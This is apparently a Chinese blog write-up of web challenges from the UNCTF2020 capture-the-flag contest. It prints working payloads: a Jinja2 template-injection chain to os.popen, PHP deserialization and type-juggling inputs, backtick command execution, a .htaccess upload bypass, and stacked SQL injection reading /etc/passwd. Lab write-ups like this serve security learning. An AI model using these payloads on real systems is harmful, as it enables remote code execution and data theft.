欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

UNCTF2020web方向部分题解

程序员文章站 2022-05-15 14:05:46
...

Web方向

easy_ssrf

php遇到不认识的协议就会当目录处理
?url=0://unctf.com/../../../../../../../../flag
UNCTF2020web方向部分题解

easyflask

SSTI/沙盒逃逸详细总结
SSTI模板注入及绕过姿势(基于Python-Jinja2)
解题思路:{{2*2}}
发现是ssti,过滤了_'"[]%,使用(request.args.x1),get请求x1绕过__class__
写一个get请求的payload:
读取所有的class类

?guess={{%20({}|attr(request.args.x1)|attr(request.args.x2)|%20attr(request.args.x3)())}}&x1=__class__&x2=__base__&x3=__subclasses__

UNCTF2020web方向部分题解
发现165是warnings.WarningMessage
最后构造出paylaod:

?guess={{%20({}|attr(request.args.x1)|attr(request.args.x2)|%20attr(request.args.x3)())|attr(request.args.x6)(165)|%20attr(request.args.x4)|%20attr(request.args.x5)|%20attr(request.args.x6)(request.args.x7)|attr(request.args.x6)(request.args.x8)(request.args.x9)}}
&x1=__class__
&x2=__base__
&x3=__subclasses__
&x4=__init__
&x5=__globals__
&x6=__getitem__
&x7=__builtins__
&x8=eval
&x9=__import__(%22os%22).popen("ls").read()

UNCTF2020web方向部分题解
最后读取flag.txt即可

俄罗斯方块人大战奥特曼

UNCTF2020web方向部分题解
下载压缩包
UNCTF2020web方向部分题解
查找字符串flag,找到一个this is your flag ,访问这个html即可
UNCTF2020web方向部分题解

easyunserialize

ctfshow上的题目,月饼杯,几乎是一模一样的,做过一遍了。。。。
反序列化字符串逃逸,需要逃逸";s:8:"password";s:5:"easy";}29个字符串,但challengeeasychallenge是四个字符串,卡了很久,最后尝试去掉最后一个}可以成功,很懵

challengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";

UNCTF2020web方向部分题解

babyeval

直接反引号`执行命令,不能有flag,使用base4编码秒了

?a=echo `ls|base64`;

UNCTF2020web方向部分题解UNCTF2020web方向部分题解
最后cat flag.php即可

?a=echo `cat flag.php|base64`;

UNCTF2020web方向部分题解UNCTF2020web方向部分题解

ezphp

网上几乎一模一样的题目,实验吧的,秒了
构造两个数组使bool值为真(true跟任意字符串都弱类型相等)

data=a:2:{s:8:"username";b:1;s:8:"password";b:1;} 

UNCTF2020web方向部分题解

easy_upload

这题是考.htaccess的,做过buuctf的应该都会,例题:[SUCTF 2019]EasyWeb[XNUCA2019Qualifier]EasyPHP。然后秒了
禁止上传后缀带ph的和内容带ph的,并检测content
首先上传shell.abc,内容为一句话的base64编码
UNCTF2020web方向部分题解
然后上传.htaccess,用\绕过检测,这正则匹配了一个寂寞,应该不能这样写的呀
UNCTF2020web方向部分题解UNCTF2020web方向部分题解
不多bb直接得到flag
UNCTF2020web方向部分题解

UN’s_online_tools

一开始是sqlmap一把梭,然后发现没有flag,想了很久想到sqlmap读取文件秒了,没有复现环境,改为另一个题了。。嘤嘤嘤
命令执行,直接秒杀
空格可以用%09绕过,后面就没有难度了
UNCTF2020web方向部分题解UNCTF2020web方向部分题解

ezfind

给出了提示才做出来的:if(!(is_file($name)===false)){flag}else{no flag}
然后盲猜数组,结果就出来flag了,看一下为什么
UNCTF2020web方向部分题解
发现是NULL,然后===false是false,再来一个!结果就是true
UNCTF2020web方向部分题解

其他的题目的一些思路:

checkin-sql:

1';PREPARE hacker from concat('selec','t',' * from `0xDktb`');EXECUTE hacker;#

即可执行任意的sql语句,可以读任意文件

1';PREPARE hacker from concat('selec','t',' load','_file','(0x2f6574632f706173737764)');EXECUTE hacker;#

但。。。。找不到flag,写文件的话不知道是姿势错了还是写不进去,tcl

easyphp:

这题本地发现可以${``}执行任意命令,但有长度限制,6位一下命令执行网上一大堆,前面的admin密码直接变量覆盖,sha1使用数组失败,应该是**0e,没**出来Orz